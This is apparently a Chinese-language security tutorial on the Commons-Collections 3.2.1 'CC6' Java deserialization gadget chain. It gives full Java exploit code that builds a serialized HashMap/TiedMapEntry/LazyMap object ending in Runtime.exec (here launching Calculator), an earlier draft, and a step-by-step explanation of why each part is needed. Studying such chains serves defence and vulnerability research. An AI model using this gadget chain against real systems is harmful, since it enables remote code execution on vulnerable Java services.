1. 1. 完整EXP
  2. 2. EXP构造逻辑
  3. 3. 调用链流程图

Commons-Collections <= 3.2.1 CC6链是所有 gadget chain中最通用的攻击链。CC6的优势是不依赖 jdk版本进行攻击。

CC6链的核心思想参考 URLDNS链,利用 HashMap.readObject触发 hash方法,再触发 hashCode直至漏洞点。

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


Map<Object, Object> lazyMap = LazyMap.decorate(new HashMap<Object, Object>(), new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");


HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
serialize(map);
deserialize();
}

public static void serialize (Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectOutputStream.writeObject(object);
}

public static void deserialize () throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectInputStream.readObject();
}
}

EXP构造逻辑

1、依然利用 LazyMap.get,CC6链利用了 Commons-Collections 3.2.1中的 TiedMapEntry中的 getValue方法:

image-20250207163222709

2、getValue方法在 TiedMapEntry.hashCode方法中被调用:

image-20250207163419841

3、如何调用 TiedMapEntry.hashCode就是下一步逻辑,借用 URLDNS链的思想,可以利用 HashMap.readObejct方法调用 hash(key)方法,进而触发 key.hashCode方法:

image-20250207163829015

image-20250207164051376

根据上述思路,初步构造EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "bbb");
serialize(hashMap);
deserialize();
}

但并非是由 HashMap.readObject造成的命令执行,而是和 URLDNS链类似,由 hashMap.put提前调用了 hash方法,触发 hashCode造成的命令执行:

image-20250207164934499

可以先将 LazyMap中 factory属性的值设置为 非chainedTransformer,hashMap.put结束后再利用反射(factory为 pricate属性) 修改 factory为 chainedTransformer:

image-20250207170724025

使用修改后的 exp执行反序列化代码,无法命令执行,跟进 hashMap.put,步进到 LazyMap.get方法,在第一次put时,若 lazyMap中没有这个 key,会进入 if方法调用 factory.transform方法,然后将 key添加到 lazyMap中。当 HashMap.readObject触发 LazyMap.get方法时,由于 key已经被添加到 lazyMap中,故不会进入 if逻辑,直接返回,不会触发命令执行:

image-20250207170352141

在 hashMap.put后将 lazyMap中的 key值 remove掉就可以了:

image-20250207170758205

调用链流程图

image-20250207171454089